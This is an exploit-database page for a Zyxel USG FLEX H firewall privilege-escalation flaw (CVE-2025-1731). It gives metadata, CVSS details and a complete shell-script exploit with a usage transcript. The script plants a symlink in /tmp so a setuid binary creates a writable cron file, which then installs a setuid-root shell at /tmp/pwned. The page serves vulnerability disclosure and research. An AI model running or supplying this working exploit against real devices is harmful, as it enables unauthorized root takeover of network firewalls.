Zyxel USG FLEX H series uOS 1.31 – Privilege Escalation

Exploit Details

Basic Information

Exploit Title Zyxel USG FLEX H series uOS 1.31 – Privilege Escalation
Exploit ID EDB-ID:52293
Type exploitdb
Published 2025-05-18T00:00:00
Modified 2025-05-18T00:00:00

CVSS Information

CVSS Score 7.8
Severity HIGH
Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2025-1731
  • CVE-2025-1732

Exploit Description

Exploit Title: Zyxel USG FLEX H series uOS…

Exploit Code

# Exploit Title: Zyxel USG FLEX H series uOS 1.31 – Privilege Escalation

# Date: 2025-04-23

# Exploit Author: Marco Ivaldi

# Vendor Homepage: https://www.zyxel.com/

# Version: Zyxel uOS V1.31 (see

https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-=

=3D

advisory-for-incorrect-permission-assignment-and-improper-privilege-managem=

=3D

ent-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025)

# Tested on: Zyxel FLEX100H with Firmware V1.31(ABXF.0) and Zyxel

FLEX200H with Firmware V1.31(ABWV.0)

# CVE: CVE-2025-1731

#!/bin/sh

#

# raptor_fermion – Zyxel fermion-wrapper root LPE exploit

# Copyright (c) 2025 Marco Ivaldi

#

# “So we wait, this is our labour… we wait.”

# — Anthony Swofford on fuzzing

#

# The setuid root binary program `/usr/sbin/fermion-wrapper` distributed by

# Zyxel with some of their appliances follows symbolic links in the `/tmp`

# directory when run with the `register-status` argument. This allows local

# users with access to a Linux OS shell to trick the program into creating

# writable files at arbitrary locations in the filesystem. This vulnerability

# can be exploited to overwrite arbitrary files or locally escalate privileges

# from low-privileged user (e.g., `postgres`) to root.

#

# Note: the `/tmp` directory doesn’t have the sticky bit set, which simplifies

# exploitation of this vulnerability and may also cause all sorts of havoc.

#

# ## Vulnerability information

#

# * CVE ID – CVE-2025-1731

# * High – 7.8 – CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

# * CWE-61 – https://cwe.mitre.org/data/definitions/61.html

#

# ## Relevant links

#

# * https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt

# * https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731

# * https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732

# * https://security.humanativaspa.it/tag/zyxel/

#

# ## Usage example

#

# “`

# $ ./raptor_fermion

# raptor_fermion – Zyxel fermion-wrapper root LPE exploit

# Copyright (c) 2025 Marco Ivaldi

#

# [*] Exploiting /usr/sbin/fermion-wrapper

# $ uname -a

# Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux

# $ id

# uid=502(postgres) gid=502(postgres) groups=502(postgres)

# $ ls -l /usr/sbin/fermion-wrapper

# -rwsr-xr-x 1 root root 44288 Jan 9 05:34 /usr/sbin/fermion-wrapper

# {“status”: 0, “registered”: 1, “nebula_registered”: 1, “bundle”: 1}

#

# [+] Everything looks good \o/, wait an hour and check /tmp/pwned

# $ ls -l /etc/cron.d/runme

# -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme

# $ cat /etc/cron.d/runme

# * * * * * cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme

#

# [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p

#

# [about one hour later…]

#

# $ ls -l /tmp/pwned

# -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned

# $ /tmp/pwned -p

# # id

# uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)

# # R00t D4nc3!!!111! \o/

# “`

#

# ## Tested on

#

# * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47

# * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31

#

# *Note: other products and firmware versions may also be vulnerable.*

#

# ## Special thanks

#

# * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices

#

echo “raptor_fermion – Zyxel fermion-wrapper root LPE exploit”

echo “Copyright (c) 2025 Marco Ivaldi

echo

target=”/usr/sbin/fermion-wrapper”

tmpfile=”/tmp/register_status”

runme=”/etc/cron.d/runme”

shell=”/tmp/pwned”

echo “[*] Exploiting $target”

echo “$ uname -a”

uname -a

echo “$ id”

id

echo “$ ls -l $target”

ls -l $target

umask 0

rm $tmpfile

ln -s $runme /tmp/register_status

$target register-status

echo “* * * * * cp /bin/sh $shell; chmod 4755 $shell; rm $runme” > $runme

if [ “`cat $runme 2>/dev/null`” = “” ]; then

echo “[!] Error: something went wrong ¯\\_(ツ)_/¯”

exit 1

fi

echo

echo “[+] Everything looks good \\o/, wait an hour and check $shell”

echo “$ ls -l $runme”

ls -l $runme

echo “$ cat $runme”

cat $runme

echo

echo “[+] Run the shell as follows to bypass bash checks: $shell -p”

echo

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.